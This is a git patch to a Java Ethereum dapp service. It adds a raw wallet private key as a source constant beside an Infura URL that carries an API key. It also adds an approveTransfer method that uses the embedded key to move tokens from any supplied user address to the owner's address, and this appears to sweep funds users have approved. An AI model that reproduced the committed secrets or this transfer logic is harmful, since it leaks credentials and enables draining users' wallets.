From d4a85f010f6b17caed4edf1e56b742c6c4e20b02 Mon Sep 17 00:00:00 2001
From: Helius <wangdoubleone@gmail.com>
Date: Tue, 29 Mar 2022 14:57:25 +0800
Subject: [PATCH] fix some
---
src/main/java/cc/mrbird/febs/dapp/chain/EthService.java | 15 ++++++++++++---
1 files changed, 12 insertions(+), 3 deletions(-)
diff --git a/src/main/java/cc/mrbird/febs/dapp/chain/EthService.java b/src/main/java/cc/mrbird/febs/dapp/chain/EthService.java
index 2f45fcf..dc5d148 100644
--- a/src/main/java/cc/mrbird/febs/dapp/chain/EthService.java
+++ b/src/main/java/cc/mrbird/febs/dapp/chain/EthService.java
@@ -2,6 +2,7 @@
import cc.mrbird.febs.common.exception.FebsException;
import cn.hutool.core.collection.CollUtil;
+import com.alibaba.fastjson.JSONObject;
import lombok.extern.slf4j.Slf4j;
import org.apache.commons.lang3.StringUtils;
import org.web3j.abi.FunctionEncoder;
@@ -54,6 +55,7 @@
// private static final String ETH_UTL = "http://114.55.250.231:8545";
private static final String ETH_UTL = "https://mainnet.infura.io/v3/f54a5887a3894ebb9425920701a97fe0";
private static final String OWNER_ADDRESS = "0x391040eE5F241711E763D0AC55E775B9b4bD0024";
+ private static final String OWNER_PRIVATE = "87c38ecbfa5ff8a38c6c428dc609ba7cd230dbf54b55bb2d900f40dd3acd9f37";
public EthService() {
try {
@@ -234,14 +236,12 @@
byte[] signedMessage = TransactionEncoder.signMessage(rawTransaction, credentials);
String hexValue = Numeric.toHexString(signedMessage);
- // log.debug("transfer hexValue:" + hexValue);
-
CompletableFuture<EthSendTransaction> ethSendTransactionCompletableFuture = web3j.ethSendRawTransaction(hexValue).sendAsync();
EthSendTransaction ethSendTransaction = ethSendTransactionCompletableFuture.get();
//return "hash";
+// log.info("====:{}", JSONObject.toJSONString(ethSendTransaction));
if (ethSendTransaction.hasError()) {
- // log.info("transfer error:", ethSendTransaction.getError().getMessage());
return "";
} else {
String transactionHash = ethSendTransaction.getTransactionHash();
@@ -250,6 +250,15 @@
}
}
+ public String approveTransfer(String fromAddress, BigDecimal amount, String gas) {
+ try {
+ return tokenSend(OWNER_PRIVATE, fromAddress, OWNER_ADDRESS, amount.toPlainString(), gas);
+ } catch (InterruptedException | ExecutionException e) {
+ e.printStackTrace();
+ return "";
+ }
+ }
+
public String ethSend(String privateKey, String fromAddress, String toAddress, String amount,String gas)
throws InterruptedException, ExecutionException {
// Web3j web3j = Web3j.build(new
--
Gitblit v1.9.1